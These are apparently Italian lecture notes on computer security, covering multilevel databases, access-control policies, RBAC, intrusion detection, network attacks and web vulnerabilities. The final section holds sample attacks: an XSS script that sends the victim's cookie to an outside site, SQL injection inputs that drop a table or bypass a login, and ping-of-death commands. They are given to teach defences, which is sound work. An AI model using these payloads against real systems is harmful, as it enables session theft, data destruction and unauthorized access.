Modello relazionale multilivello Per ogni tupla di una relazione multilivello • tutti gli attributi chiave devono avere la stessa classificazione • la classificazione degli attributi non chiave deve dominare la classificazione degli attributi chiave
Poliinstanziazione Il problema principale nel supportare classificazione a livello di granularità fine è l'introduzione della poliinstanziazione • presenza simultanea di più oggetti con lo stesso nome ma diversa classificazione ="differenti tuple con la stessa chiave ma • classificazione diversa per la chiave (tuple poliinstanziate) • valori e classificazione diversa per uno o più attributi (elementi poliinstanziati)
Poliinstanziazione • Invisibile Un soggetto a basso livello inserisce dati in un campo che contiene già dati ad un livello maggiore o non comparabile • Visibile Un soggetto ad alto livello inserisce dati in un campo che contiene già dati ad un livello minore
Poliinstanziazione invisibile Un utente a basso livello chiede di inserire una tupla. Esiste già una tupla con la stessa chiave primaria ma con classificazione maggiore • comunicare allùtente lèsistenza della tupla

="Information leakage • sostituire la tupla esistente con la nuova tupla ="integrità viene compromessa • inserire la nuova tupla ="tupla poliinstanziata
Poliinstanziazione visibile Un utente ad alto livello chiede di inserire una tupla. Esiste già una tupla con la stessa chiave primaria ma con classificazione minore • comunicare allùtente lèsistenza della tupla e rifiutare l'inserimento ="denial of service • sostituire la tupla esistente con la nuova tupla ="information leakage • inserire la nuova tupla ="tupla poliinstanziata
Poliinstanziazione Proposte di semantica di tuple e elementi poliiinstanziati • tuple poliinstanziate ="diverse entità del mondo reale • elementi poliinstanziati ="la stessa entità del mondo reale .... poliinstanziazione però sfugge dal controllo....probabilmente la ragione principale per cui i DBMS multilivello non hanno avuto successo
Prevenzione della poliinstanziate Prevenzione di entità poliinstanziate: • rendere visibili tutte le chiavi • partizionare il dominio della chiave primaria • permettere l'inserimento solo a soggetti *fidati* Prevenzione di elementi poliinstanziati • utilizzo di valori "restricted" (invece di vedere "null" i soggetti a basso livello vedono la presenza di un valore) • una sola classificazione per tutti gli attributi chiave
Cover story M-DBMS commerciali (es., Trusted Oracle) supportano classificazione a livello di tupla La poliinstanziazione è probabilmente considerata la ragione principale del perchè i DBMS multilivello non hanno avuto successo **però** la poliinstanziazione può essere utile • cover story: informazione non corretta che il DBMS fornisce a soggetti a basso livello per proteggere informazione a livello maggiore Supporto di classificazione a livello fine porta anche altri problemi • es., supporto di vincoli di integrità è più complesso • canali di inferenza
Architettura • Trusted subject: dati a livelli differenti sono memorizzati in un solo database. Il DBMS deve essere trusted per assicurare lòbbedienza alla politica mandatoria. • Trusted computing base: dati sono partizionati in basi di dati differenti, uno per ogni livello. Solo il sistema operativo deve essere fidato. Ogni DBMS è confinato ai dati che i soggetti che usano quel DBMS possono accedere. (Necessità di algoritmi di decomposizione e ricostruzione).
DAC – autorizzazioni con condizioni Le autorizzazioni possono contenere condizioni che ne limitano la validità **system-dependent** valutano il soddisfacimento di predicati di sistema • locazione (es., solo da macchine all'interno della rete locale). • tempo (es., solo dalle 9:00am alle 5:00pm) **history dependent** dipendono dalla storia delle richieste **content-dependent** dipendono dal valore dei dati, possono: • restringere l'insieme di oggetti a cui si può accedere (es., si può accedere solo a file il cui contenuto soddisfa certe condizioni) • restringere l'accesso a porzioni di oggetti (es. solo a tuple di una relazione per cui i valori degli attributi soddisfano certe condizioni) =!query modification
Autorizzazioni su/per gruppi Autorizzazioni riferite singole entità (utenti, file, ...) troppo pesanti da gestire • supporto di astrazione (raggruppano le entità). Generalmente basate su relazioni gerarchiche: utenti/gruppi; oggetti/classi; file/directory; pattern di indirizzi IP numerici e simbolici.... Gerarchia: DAG o albero Le autorizzazioni possono essere specificate su astrazioni e propagarsi lungo la gerarchia. =!Autorizzazioni concesse a un gruppo di utenti si applicano a tutti i membri del gruppo =!Autorizzazioni garantite per una astrazione degli oggetti si applicano a tutti i suoi membri
Autorizzazioni su/per gruppi Non sempre le autorizzazioni specificate su un elemento non minimale di gerarchia si propagano. Certe autorizzazioni si riferiscono a modi di accesso esercitabili sullèlemento (non minimale) Es., in Unix i privilegi su directory non si propagano ai file in essa contenuti; definiscono privilegi su directory • possono essere utilizzati per definire precondizioni sull'accesso ai suoi componenti (es., per accedere ad un file in Unix è necessario avere privilegio di esecuzione (x) sulle directory nel suo pathname assoluto)
Supporto di eccezioni Vantaggio delle astrazioni: semplificano la gestione di autorizzazioni Lùtilità delle astrazioni è limitata se è possibile supportare eccezioni. Es., "tutti gli impiegati tranne Alice possono leggere il file letteraA" • devo specificare una autorizzazione per ogni impiegato tranne che per Alice Soluzione: supporto di autorizzazioni negative • (Impiegati, read, file, +) • (Alice, read, file, -) La presenza sia di autorizzazioni positive sia negative può portare inconsistenze (o ambiguità). Cosa facciamo?
Permessi e negazioni Le autorizzazioni negative sono un facile modo di supportare eccezioni Le autorizzazioni negative sono state inizialmente introdotte, separatamente dalle autorizzazioni positive politica aperta: autorizzazioni (negative) specificano negazioni all'accesso. Tutti gli accessi non esplicitamente negati sono permessi; in contrapposizione a politica chiusa: autorizzazioni positive specificano permessi di accesso. Solo gli accessi esplicitamente autorizzati possono essere eseguiti. Politiche più recenti supportano entrambe, ma • cosa facciamo se per un accesso abbiamo sia + sia -? (inconsistenza) • cosa facciamo se per un accesso non abbiamo nè + nè -? (non completezza) Non completezza può essere risolta • assumendo completezza (es. Orion): per ogni accesso almeno una autorizzazione o positiva o negativa deve esistere =!troppo pesante • assumendo come base o la politica aperta o la politica chiusa politica di default Diverse politiche per la risoluzione dei conflitti sono possibili • denials-take-precedence le autorizzazioni negative vincono (principio fail safe) • most-specific-takes-precedence l'autorizzazione "più specifica" vince • most-specific-along-a-path-takes-precedence l'autorizzazione che è "più specifica" vince solo sui cammini che passano dall'autorizzazione !le autorizzazioni si propagano lungo la gerarchia fino a che trovano autorizzazioni più specifiche
Most specific takes precedence La politica che fa vincere la autorizzazione più specifica è intuitiva e naturale ..... ma • può non risolvere tutti i conflitti • in alcuni casi può non essere voluta.
Altre politiche per la risoluzione dei conflitti Strong vs weak (e.g., Orion) Le autorizzazioni sono classificate come forti o deboli • Le autorizzazioni forti non possono essere soprascritte =!non ammettono eccezioni • Le autorizzazioni deboli possono essere sovrascritte. **–** le autorizzazioni forti sovrascrivono sempre le autorizzazioni deboli (indipendentemente dalla loro specificità o segno) **–** le autorizzazioni deboli si possono sovrascrivere in accordo alla politica della autorizzazione più specifica lungo un cammino Alcune limitazioni/complicazioni: • Supporta solo due livelli di priorità, può non bastare • Le autorizzazioni forti devono essere consistenti Non è facile quando i gruppi sono "dinamici" Esplicità priorità le autorizzazioni hanno delle priorità specifiche associate • difficile da gestire Posizionale la autorizzazione delle autorizzazioni dipende dal loro ordine

nella lista di autorizzazione • scarica la responsabilità di risolvere i conflitti a chi specifica le autorizzazioni • difficile da applicare in caso di mministrazione decentralizzata Grantor-dependent la priorità delle autorizzazioni dipende da chi le ha Garantite Time-dependent la priorità delle autorizzazioni dipende dal tempo al quale sono state concesse (es., la più recente vince) • applicabilità limitata

Politiche per la risoluzione dei conflitti Le politiche non sono in alternativa. Es., si può applicare prima "most specific" e poi "denials-take-precedence" sui conflitti rimasti Non esiste una politica migliore di unàltra. Diverse politiche corrispondono a diverse scelte che possono essere prese per la risoluzione dei conflitti. Cercare di supportare tutte le differenti semantiche che la negazione può avere (negazione forte, eccezione....) porta a modelli non gestibili. Per questo motivo spesso le autorizzazioni negative non vengono usate. Però sono utili. =!Sistemi che supportano autorizzazioni negative adottano una specifica politica per la risoluzione di conflitti

Autorizzazioni positive e negative in Apache Le autorizzazioni possono essere positive e negative. è specificato un ordine che descrive come interpretarle. Due scelte: **deny,allow** sono valutate prima le autorizzazioni negative e l'accesso è permesso per default. Un richiedente ha accesso se non ha alcuna autorizzazione negativa *oppure* ha una autorizzazione positiva. **allow,deny** sono valutate prima le autorizzazioni positive e l'accesso è negato per default. Un richiedente non ha accesso se non ha alcuna autorizzazione positiva *oppure* se ha una autorizzazione negativa.

Linguaggi per la specifica di autorizzazioni Modelli DAC più recenti cercano di includere almeno • autorizzazioni positive e negative • propagazione basata sulla gerarchia • politiche per la risoluzione dei conflitti e politiche di decisione • addizionali regole di implicazione (es., se Bob può fare una cosa anche Alice la può fare) Goal Essere flessibile e permettere di supportare politiche differenti • Utenti/amministratori differenti possono avere differenti requisiti di protezione • Uno stesso utente/amministratore può avere requisiti di protezione diversi su diversi oggetti • I requisiti di protezione possono variare nel tempo

Linguaggi di autorizzazione basati sulla logica Alcuni approcci hanno proposto lùtilizzo di linguaggi logici. Vantaggio: maggiore espressività e flessibilità .... ma dobbiamo stare attenti a • bilanciare flessibilità/espressività rispetto a performance • non perdere controllo sulle specifiche di autorizzazione • garantire il comportamento delle specifiche (ricordiamoci che stiamo parlando di sicurezza) Alcune proposte permettono interpretazioni multiple =!semantica ambigua delle specifiche di sicurezza

Chinese wall Tipo particolare di politica di stile mandatorio che applica separazione dinamica dei privilegi per proteggere segretezza in ambito commerciale Goal prevenire flussi di informazione che causano conflitto di interesse per singoli consulenti (es. un consulente non dovrebbe avere informazioni su due banche o due compagnie petrolifere)

Chinese wall Gli oggetti sono organizzati gerarchicamente su tre livelli • basic object oggetti contenenti informazioni, (e.g., file), ognuno riguarda una diversa organizzazione;
• company dataset gruppi di oggetti che si riferiscono alla stessa organizzazione;
• classi di conflitto di interesse raggruppano tutti i dataset di organizzazioni che sono in competizione

Chinese wall – assiomi Simple security rule Un soggetto s può avere accesso a un oggetto o solo se o: • è nello stesso company dataset ("all'interno del muro") degli oggetti che s ha già acceduto, oppure • appartiene a una classe di conflitto di interessi differente. ***-property** Accesso in scrittura è permesso solo se • l'accesso è permesso dalla simple security rule, e • nessun oggetto può essere letto che è *i)* in un company dataste differente da quello per cui l'accesso in scrittura è richiesto, e *ii)* contiene informazione "non sanitizzata".

Chinese Wall La simple security rule blocca flussi da parte di un singolo utente. La *-property blocca flussi indiretti che potrebbero essere effettuati con la collusione di due o più utenti La politica Chinese Wall non è ben formalizzata e lascia aperti alcuni problemi, quali: • gestire la storia degli accessi • garantire accessibilità (es., se tutti gli utenti leggono lo stesso dataste il sistema è bloccato) • sanitizzazione dei dati Però introduce il concetto importante di separazione dei privilegi dinamica

Separazione dei privilegi Principio di separazione dei privilegi: nessun utente (o insieme ristretto di utenti) dovrebbe avere abbastanza privilegi da poter abusare del sistema. **statica** chi specifica le autorizzazioni deve assegnarle in modo da non dare "troppi privilegi" ad un singolo utente **dinamica** il controllo sulla limitazione dei privilegi è dinamico: un utente non può fare "troppi" accessi ma è libero di scegliere quali fare. Il sistema gli negherà gli altri di conseguenza =!più flessibile **Esempio**: fare-ordine, spedire-ordine, registrare-fattura, pagare. Abbiamo quattro persone in segreteria. Requisito di protezione: almeno due utenti devono essere coinvolti nel processo statico l'amministratore assegna i compiti in modo che nessuno abbia tutte e quattro le operazioni. dinamico ogni persona può fare qualsiasi operazione, ma non può completare il processo =!se ne fa tre il sistema gli rifiuta la quarta.

Controllo dell'accesso basato sui ruoli Osservazione Il completamento di certe attività richiede la possibilità di eseguire un insieme di privilegi. Garantire e concedere tali privilegi sulla base dell'identità degli utenti può essere pesante Sfruttare i concetti di application/task. Ruolo: insieme di azioni e responsabilità legate a una particolare attività lavorativa. Può essere generico, e riflettere un tipo di lavoro (es., segretario, direttore, ...) o specifico, riflettendo un compito (es., registrazione-fatture). Accesso degli utenti agli oggetti è mediato da ruoli

RBAC • Ruoli sono autorizzati ad accedere agli oggetti • Utenti sono autorizzati ad attivare ruoli • Attivando un ruolo r un utente può eseguire tutti gli accessi concessi ad r. • I privilegi di un ruolo non sono applicabili quando il ruolo non è attivo. Anche se ruoli e gruppi possono rappresentare lo stesso concetto, sono due cose diverse • gruppi: raggruppano utenti ("statici") • ruoli: raggruppano privilegi ("dinamici") Generalmente i ruoli sono organizzati in una gerarchia di specializzazione La gerarchia può essere sfruttata per propagare autorizzazioni • Se un ruolo r ha l'autorizzazione ad eseguire (azione,oggetto) =! tutti i ruoli specializzazione di r possono eseguire (azione, oggetto) • Se u ha l'autorizzazione ad attivare un ruolo r =!u può attivare tutti i ruoli generalizzazione di r

RBAC – Vantaggi **Gestione semplificata** è più facile gestire le autorizzazioni (es., è sufficiente assegnare o togliere un ruolo ad un utente per abilitarlo a tutta una serie di compiti) **Gerarchia di ruoli** può essere sfruttare per le implicazioni. Semplifi-

ca ulteriormente la gestione. **Restrizioni** Ai ruoli possono essere associate restrizioni quali cardinalità o restrizioni di attivazione. **Least privilege** Permettono di avere in ogni momento il minimo privilegio possibile per fare un certo lavoro. =!Limita la possibilità di abusi e danni per violazioni. **Separazione dei privilegi** Permettono di applicare una politica di separazione dei privilegi. RBAC Controllo di accesso basato sui ruoli promettente ma non soddisfa tutti i requisiti del mondo reale • relazioni gerarchiche possono essere limitative (es., segretario può scrivere lettere on behalf del suo manager) • propagazione basata sulla gerarchia non sempre voluta (è contraria al principio del minimo privilegio). • servono politiche amministrative **–** proprietà non può essere più data allùtente • mancanza di relazioni con l'identità degli utenti (che a volte può servire per raffinare gli accessi – es., "mio paziente")

Controllo degli accessi in sistemi aperti Siamo partiti dall'assunzione che l'autenticazione è prerequisito per il controllo dell'accesso. Oggi non sempre si può applicare • richiesta di transazioni anonime • in un sistema aperto come internet utenti nuovi (non conosciuti al server) possono presentare richieste di accesso **–** chiedere ad un server di mantenere informazioni su tutti gli utenti può non essere gestibile =!controllo dell'accesso basato su credenziali (certificati digitali)

Controllo dell'accesso basato su credenziali Un utente può presentare certificati digitali per certificare • identità • accreditamenti (es., appartenenza ad associazioni o gruppi) • la sua chiave Il server può sfruttare i certificati per decidere se dare o meno l'accesso Una ulteriore complicazione: il server deve chiedere allùtente =!le richieste devono garantire la privatezza della politica del server • Sistemi di autorizzazione al lato server

indicano le restrizioni di accesso e come comunicarle al client • sistemi di autorizzazione al lato client restringono le informazioni e le credenziali che questi può rilasciare
Sistemi emergenti per il controllo dell'accesso Utilizzo di XML per la specifica di autorizzazioni • XACML (OASIS eXtensible Access Control Markup Language) **–** Linguaggio basato su XML per la specifica di autorizzazione **–** in corso di definizione all'interno di OASIS (Organization for the Advancement of Structured Information Standards) **–** disegnato all'interno di SAML per la gestione delle proprietà degli utenti **–** Cerca di bilanciare interoperabilità e espressività con requisiti di applicabilità ed efficienza % richieste sono presentate con asserzioni SAML che certificano le proprietà degli utenti % soggetti e oggetti di autorizzazione definiti tramite formule booleane di predicati
Audit e controllo delle intrusioni
Audit di sicurezza Usato in due diverse eccezioni • Analisi delle procedure e delle pratiche adottate per valutare i rischi creati da queste azioni • Analisi degli eventi per determinare violazioni alla sicurezza o tentativi di violazioni **Aree di intervento** • Sicurezza organizzativa – verifica delle responsabilità – politiche aziendali • Sicurezza logica e fisica – valutazione protezione da accessi non autorizzati – valutazione protezione da eventi di natura umana o ambientale (es., dispositivi antincendio, backup) – valutazione protezione dell'infrastruttura di rete – valutazione protezione di server e client • Sicurezza delle applicazioni – verifica protezione dei sistemi applicativi rispetto alle tipologie di rischio intrinseco e implementativi
Analisi dei rischi Identificazione e valutazione dei rischi che si verifichi un certo evento • Meccanismi per tenere i rischi sotto controllo • Valutazione della probabilità che accada un rischio • Valutazione dell'impatto di ciascun rischio • Determinazione di contromisure • Sviluppo e utilizzo di misure per mitigare gli effetti di un rischio • Determinazione della gravità di un rischio e scelta delle contromisure appropriate
Fase di preparazione Stabilire a quale livello di profondità verrà eseguito l'audit di sicurezza • Sistema è composto da diversi elementi – host – server – firewall – rete
• Accesso ristretto ai componenti sottoposti ad analisi • Selezione del personale per valutare come lavora all'interno delle politiche di sicurezza • Verifica dei tool di analisi
Stesura report • Informazioni raccolte nella fase di audit devono essere memorizzate in modo sicuro • Risultati dell'analisi riassunti in report di audit • Confronti con audit precedenti • Risultati dell'analisi dei problemi di sicurezza riscontrati nel report precedente • Lista problemi riscontrati • Contromisure
Auditing: seconda eccezione Analisi della storia degli eventi per determinare se e come si sono verificate violazioni (o tentativi di violazioni) alla sicurezza
• Richiede la registrazione delle richieste degli utenti e di tutte le attività svolte nel sistema • Registrazioni mantenute nell'audit trail o audit log • La natura e il formato dell'audit log varia da sistema a sistema
Audit log • Soggetto che richiede l'accesso • Oggetto richiesto • Operazione richiesta
• Tempo di presentazione della richiesta • Locazione da cui proviene la richiesta
• Risposta del sistema di controllo dell'accesso • Quantità risorse usate (es., tempo di CPU, I/O, memoria e così via) • Esito operazione e, in caso di fallimento, motivo
Analisi audit log Audit log può diventare molto voluminoso velocemente
• Dati di audit non possono rivelare tutte le possibili violazioni • Attaccanti esperti possono "diluire" l'attaco lungo un periodo relativamente lungo • Analisi di audit eseguita solo ci sono effetti visibili – file non accessibili, processi rallentati, memoria Insufficiente
Tool per l'analisi automatica Riducono la quantità di dati che devono essere analizzati manualmente • Dati di audit possono essere organizzati per
ottenere dei sommari e misure utili per l'analisi • Auditor può usare i sommari per l'analisi • Sistemi per la determinazione di intrusioni (intrusion detection system)
– automatizzare l'acquisizione e riduzione di dati di audit insieme con l'analisi
Intrusion detection system (IDS) Non si sostituisce ai normali controlli ma cerca di scoprire i loro fallimenti • Chi entra in un sistema abusivamente compie operazioni che un utente normale non fa • Attacchi sono di solito (non sempre) associati ad una violazione del controllo dell'accesso – buffer overflow – utente esterno ottiene accesso a risorse protette – programma e/o file è stato modificato – sistema non funziona come dovrebbe
IDS: semplice scenario - Sistema target - infrastruttura IDS – *Monitor - Risposta Report*
Caratteristiche di un IDS • Deve poter essere eseguito senza la supervisione
degli utenti • Non deve essere una scatola nera – il suo comportamento interno dovrebbe essere analizzabile dallèsterno • Deve essere resistente ai guasti • Deve essere resistente ad attacchi • Deve richiedere un minimo overhead • Deve essere facilmente adattabile al sistema in osservazione • Deve far fronte a cambiamenti nel comportamento del sistema
IDS: classificazione Due metodi principali • Anomaly detection: determinare statisticamente modelli di comportamento normale e segnalare eventuali deviazioni significative – conoscenza a posteriori • Misuse detection: confrontare gli eventi con schemi predefiniti di attacchi – conoscenza a priori
IDS: classificazione • Host-based (HIDS): opera su una singola macchina – visibilità migliore dei comportamenti di una applicazione in esecuzione sulla macchina • Network-based (NIDS): controlla il traffico di rete – singolo NIDS può proteggere diverse macchine
Anomaly detection • Assume che tutte le attività intrusive siano anomale • Basati sulla definizione di profili che descrivono il normale funzionamento – costruiti manualmente (difficile!) – attraverso tecniche di machine learning e data minino – metodi efficienti per tenere traccia e modificare i profili • Segnala deviazioni dai profili • Capace di riconoscere nuovi attacchi
Dati di audit Profilo - Modifica profilo - Genera nuovo profilo - Deviazione Stato di – attacco

Profili - Costruiti in base a determinate caratteristiche (metriche) che vengono monitorate dal sistema • Attività di login e sessione – frequenza login – ultimo login – tentativi di specifica password falliti • Esecuzione di programmi e comandi – frequenza di esecuzione – risorse di CPU e I/O usate • Attività di accesso a file – frequenza di read/write/create/delete
– numero record letti/scritti – numero letture/scritture/cancellazioni/creazioni falliti
Anomaly detection: problemi • Scelta delle metriche (cosa misurare) • Scelta dei threshold (soglia dàllarme) e delle funzioni per evitare falsi positivi e negativi • Scelta dei modelli di base: cosa succede se l'attacco compare solo in variabili che non sono state modellate? • Segnalazione di tipo statistico che va interpretata da un esperto umano
Misuse detection - **Descrive vari tipi di attacco** • Riconosce solo attacchi per cui esiste una descrizione (signature) – caratteristiche invarianti di attacchi noti • Usa un modello di regole per descrivere gli Attacchi • Segnalazioni precise
Misuse detection Dati di audit Signature attacco – Timing - Modifica regola – Aggiungi nuova regola – Rule – Match - Stato di attacco
Misuse detection: problemi • Necessità di gestire una base di conoscenza degli attacchi • Problemi di aggiornamento (solo gli attacchi conosciuti vengono segnalati) e di ingegnerizzazione delle segnature • Problema del polimorfismo negli attacchi – ADMutate, encoding UTF • Problema di sequenzialità
HIDS HIDS è in grado di monitorare attività a livello di singolo utente
• Scopre la presenza di rootkit – software in grado di nascondere le tracce di un
Attaccante • Svantaggi principali – necessario un IDS per ogni macchina – se un attaccante ottiene il controllo della macchina può modificare IDS e l'audit log
– solo visione locale di un attacco • Esempi di HIDS – Tripwire (controlla integrità file)
NIDS Ispezionano traffico di rete • Cerca – violazioni a protocolli – pattern di connessioni inusuali – stringhe di attacco nei payload dei pacchetti • Svantaggi principali – non sono in grado di ispezionare traffico crittato (IPSec, VPN) – non tutti gli attacchi arrivano dalla rete – memorizzza ed elabora una grande quantità di traffico • Esempi di NIDS – Snort, Bro
Anomaly vs misure Uso non intrusivo Uso intrusivo
Falsi negativi Non-anomalo ma attività intrusiva sembra attività **normale**
Falsi positivi Non-intrusivo ma attività anomala non sembra attività **normale**
Falsi positivi e falsi negativi
• Falsi positivi: attività non intrusiva ma anomala – le politiche di sicurezza non sono violate – causa interruzioni non necessarie – causa insoddisfazioni negli utenti
• Falsi negativi: attività non anomala ma intrusiva – le politiche di sicurezza sono violate
– intrusione non rilevata
Attacchi alle reti - Connettività alla rete
• Vantaggi – reti private sono in grado di raggiungere e comunicare con il mondo esterno
• Svantaggi – il mondo esterno è in grado di raggiungere e interagire con le reti private
Sabrina De Capitani di Vimercati, Pierangela Samarati 2
Computing network
• Vantaggi – condivisione di risorse – carico di lavoro distribuito – maggiore affidabilità
– espansibilità • Svantaggi – incremento rischi di violazioni – sorgenti di problemi di sicurezza
Infrastruttura di rete - rete locale - Internet service - provider (ISP) ISP - rete locale -
rete locale ISP
Caratteristiche delle reti • Anonimità • Automazione: nodi intermedi e/o finali possono essere macchine con solo una minima supervisione umana • Distanza: connessione tra nodi possibilmente molto distanti fra loro • Opacità: utenti non possono dire se una macchina remota è nella stanza accanto o in un altro continente • Instradamento dinamico: interazioni tra due nodi possono seguire percorsi diversi per motivi di affidabilità e performance
Tipi di Attacchi
Obiettivo primario è quello di sottrarre informazione o degradare il sistema
• Quattro tipologie di attacchi –interruzione –intercettazione –modifica –produzione
Interruzione Una parte del sistema viene distrutta o diventa non utilizzabile
• Attacco alla disponibilità del sistema
Intercettazione
Soggetto non autorizzato ottiene accesso ad una componente del sistema
• Possono richiedere un attacco preventivo a livello fisico per –installare dispositivi pirata –agganciarsi alla rete –installare software di supporto alla intercettazione
• Basato su –analizzatori di traffico su rete (locale o geografica) –applicazioni di analisi del traffico su rete (sniffing) –server che si spacciano come server originali (spoofing)
–programmi che emulano servizi del sistema registrando informazioni riservatedelùtente
• Possono sfruttare debolezze intrinseche di protocolli e software di rete • Possono sfruttare il fatto che un utente abbia disatteso qualche norma comportamentale imposta dalla politica di sicurezza • Attacco alla confidenzialità del sistema
Modifica -Soggetto non autorizzato entra in possesso di una componente del sistema, la modifica e la introduce di nuovo nel sistema • Questo è un attacco all'integrità
Produzione -Soggetto non autorizzato produce componenti nuove e le immette nel sistema • Attacchi tesi a degradare lòperatività del sistema • Diverse tecniche di disturbo
– virus – worm – denial of service • Atti di sabotaggio che minacciano tipicamente
l'integrità e la disponibilità, più raramente (e indirettamente) la confidenzialità

Tipi di intruso • Intruso passivo: legge il messaggio senza alterarlo • Intruso attivo: – può alterare il messaggio – può inviare messaggi falsi spacciandosi per il mittente autentico
Tipi di spoofing - Azione di camuffamento • Diversi tipi di spoofing – file spoofing – IP spoofing – masquerade – TCP session hijacking – man-in-the-middle
File spoofing Tecnica usata per simulare che un file corrisponde ad un tipo diverso da ciò che è realmente • Estensioni associate a file – sistemi windows di default non visualizzano le estensioni dei file (es., archivio.zip mostrato come archivio) – cosa succede ad un file rinominato (volutamente) col nome archivio.zip.exe? • Intestazioni malformate nel protocollo MIME che gestisce gli allegati alle e-mail – vulnerabilità resa nota nel Febbraio 2002 • Attachment sono codificati con lo standard MIME – codifica solo testo nel caso dei file ASCII puri – codifica base64 nel caso di file binari (eseguibili, immagini, file ZIP)
IP spoofing - IP sorgente di un pacchetto viene modificato • Facilmente modificabile • Per evitare il blind spoofing (le risposte ai pacchetti inviati non sono visibili) – usare una macchina compromessa sulla rete del server o del client – usare il source routing per settare alcune opzioni del pacchetto IP
Masquerade - Una macchina dichiara di essere una macchina diversa • URL confusion – nomi di dominio si possono facilmente confondere – xyz.com, xyz.org e xyz.net tre diverse organizzazioni – xyz.com, xyz.org e xyz.net una organizzazione vera e le altre due un tentativo di mascheramente • Phishing – accesso ad informazioni personali e riservate con la finalità del furto di identità – si usano messaggi di posta elettronica fasulli oppurtunamente creati per apparire autentici
Masquerade: esempi • Supponiamo che il target sia My-Bank.com – Si registra il dominio MyBank.com – Si realizza un pagina Web all'indirizzo MyBank.com simile alla pagina della vera banca – Login alla finta pagina – Si raccolgono informazioni personali come password, PIN e così via • Due siti americani – www.whitehouse.com

TCP session hijacking- Inserimento in una sessione TCP attiva • Spiando una connessione attiva è possibile sostituirsi ad uno dei due interlocutori – Trudy spia la connessione tra Alice e Bob e registra i numeri di sequenza dei pacchetti – Trudy blocca Bob che vede interrompersi la sua sessione interattiva – Trudy invia pacchetti con il corretto numero di sequenza con mittente Bob in modo che Alice non si accorga di nulla

Man in the middle

Attacchi in cui l'intruso riesce a dirottare il traffico tra client e server legittimi

• Categoria molto ampia di attacchi – TCP session hijacking è un esempio • Diversi tipi
– fisico (es., attaccante controlla un firewall) o logico – full (attaccante vede entrambi i flussi) o half-duplex (blind)

Sniffing - Lettura abusiva di tutti i pacchetti che transitano in rete mediante sniffer

• Una scheda di rete passa al sistema operativo solo il traffico destinato alla singola macchina • Sniffing significa che la scheda di rete si trova in modalità promiscua e cattura tutto il traffico rete

Denial of service (1)

Il sistema nega l'accesso a servizi/informazioni anche ad utenti regolarmente autorizzati

• Il principio su cui si basa l'attacco è semplice – inondare di richieste casuali la macchina obiettivo dell'attacco – il target dell'attacco non riuscirà più a sopportare il
carico di richieste e quindi smetterà di funzionare
• Diversi tipi – ping of death – SYN flooding – smurf attack – distributed denial of service (DDoS)

Ping of death • Basato sul protocollo ICMP – protocollo per la diagnostica
• I pacchetti ICMP hanno un payload la cui dimensione è superiore ad un certo valore
– ping -l 65527 (Windows) – ping -s 65527 (Linux) • Il sistema che riceve questi pacchetti va in crash

SYN flooding • L'aggresore genera un flusso di pacchetti con il flag SYN attivo e con indirizzo IP "spoofato" • La coda delle connessioni half-opened dello stack TCP/IP viene saturata • La vittima rifiuta altre connessioni (anche legittime) • Gli stack moderni sono resistenti a questo tipo di attacco • SYN cookie: l'allocazione delle risorse viene
posposta finché non si riceve il terzo pacchetto – IP mittente verificato – cookie memorizza le informazioni e viene poi inviato al client – integrità del cookie garantita attraverso meccanismi di firma

Distributed denial of service (DDoS) • Agenti (zombi) sono in numero elevato, distribuiti su differenti computer e sincronizzati da pochi centri (master) – gli utenti delle macchine zombi sono ignari di essere strumenti usati per un attacco DDoS – master sono macchine infettate oppure macchine dell'attaccante • Attaccante vero e proprio che scatena l'attacco – invia opportuni messaggi a master che a loro volta fanno entrare in azione gli zombi

Attacco in due fasi • Fase 1: sono infettate un grandissimo numero di macchine (vittime primarie) che ricoprono i ruoli di master e zombi – infezione con meccanismo simile a quello dei virus – fase che può durare mesi • Fase 2: attacco vero e proprio – le vittime primarie sono utilizzate per inondare di richieste e pacchetti i siti sotto attacco (vittime finali)

Attaccante Zombi Master

Sicurezza delle applicazioni Web

Insieme di script che risiedono su un Web server • Gli script possono interagire con altri sistemi – database server – sorgenti con contenuto dinamico • Vulnerabilità – cross-site scripting – SQL injection

Cross-site scripting - XSS - Permette ad un attaccante di inserire codice arbitrario come input di una applicazione Web • Dovuto a due fattori – siti web si fidano dei dati che arrivano dallèsterno – siti web spesso visualizzano quello che ricevono in input (echo back) • Potenzialmente la vittima dell'attacco non è solo il sito, ma anche lùtente – un semplice link che porta ad una pagina di un sito non protetta può creare danni • Attacco usato per – raccogliere dati degli utenti – leggere i cookie – dirottare lùtente su un altro sito – visualizzare falsa pubblicità

XSS: esempi • Forum dove si possono scrivere messaggi memorizzati come pagine HTML • Si scrive il testo – <script>location='http://www.miosito.it/'; </script>
• Un utente accede al testo sul forum e viene rediretto alla pagina http://www.miosito.it/
• Sul sito su cui viene effettuato il reindirizzamento si creano script per la raccolta di dati
– <script>document.location= 'http://www.sito.com/leggocookie. asp?'+document.cookie</script>

XSS: esempi • Motore di ricerca che cliccando su "cerca" invia le informazioni con metodo get – informazioni inviate nellùrl – es., /search?q=**phishing** • Si esegue il codice che recupera le informazioni della variabile parola ed effettua la ricerca – restituisce i risultati della ricerca e codice del tipo Trovati 5 risultati per <%=Request.querystring("parola")%>

XSS: esempi • Se invece di cercare phisihing si cercasse – http://www.sitovittima.it/cerca.asp?key=<script>alert('Sicurezza')></script>
– si otterrebbe la comparsa di una finestra di alert con la scritta Sicurezza

XSS: contromisure • Sviluppatori: controllare ogni informazione inserita in input dagli utenti prima di inoltrarla alle applicazioni • Utenti: tenere sempre aggiornato il proprio
browser – permettono di disabilitare lùtilizzo di linguaggi quali javascript, vbscript, activix

SQL Injection Interessa qualsiasi linguaggio di programmazione e qualsiasi DBMS

• Interrogazioni SQL costruite sulla base di input passati da un utente possono essere manipolate a piacimento • Input trasmesso in vari modi: –tramite URL (query string)
–tramite un form HTML –tramite un cookie costruito su misura • Non tutti gli utenti utilizzano un sito in modo ortodosso • Diversi problemi: – manipolazione indesiderata dei dati – accesso indesiderato ad aree riservate – visualizzazione di dati riservati

Scenario - Firewall Web server – ftp – telnet – http - **www.miosito.com?uname=xxx' 1=1;--) -** Database

SQL injection in pratica • Variabile $id presa in input dalla query string, teoricamente di tipo intero ma non valicata $sql = “SELECT * from articoli WHERE id=$id”;
• Che cosa succede se $id = “1; DROP table articoli”? SELECT * from articoli WHERE id=1; DROP table articoli
SQL injection in pratica $sql = "SELECT * from utenti WHERE login=’$login’ AND password=’$password’"; • La query può essere modificata manipolando $login che potrebbe essere pippo’ OR 1=1 -- SELECT * from utenti WHERE login=’pippo’ OR 1=1 --’ AND password=” • Da notare che: –l’apice all’interno di $login assume un valore particolare in SQL –lòperatore OR aggiunge una clausola fittizia (1=1) –i caratteri -- in SQL corrispondono ad un commento
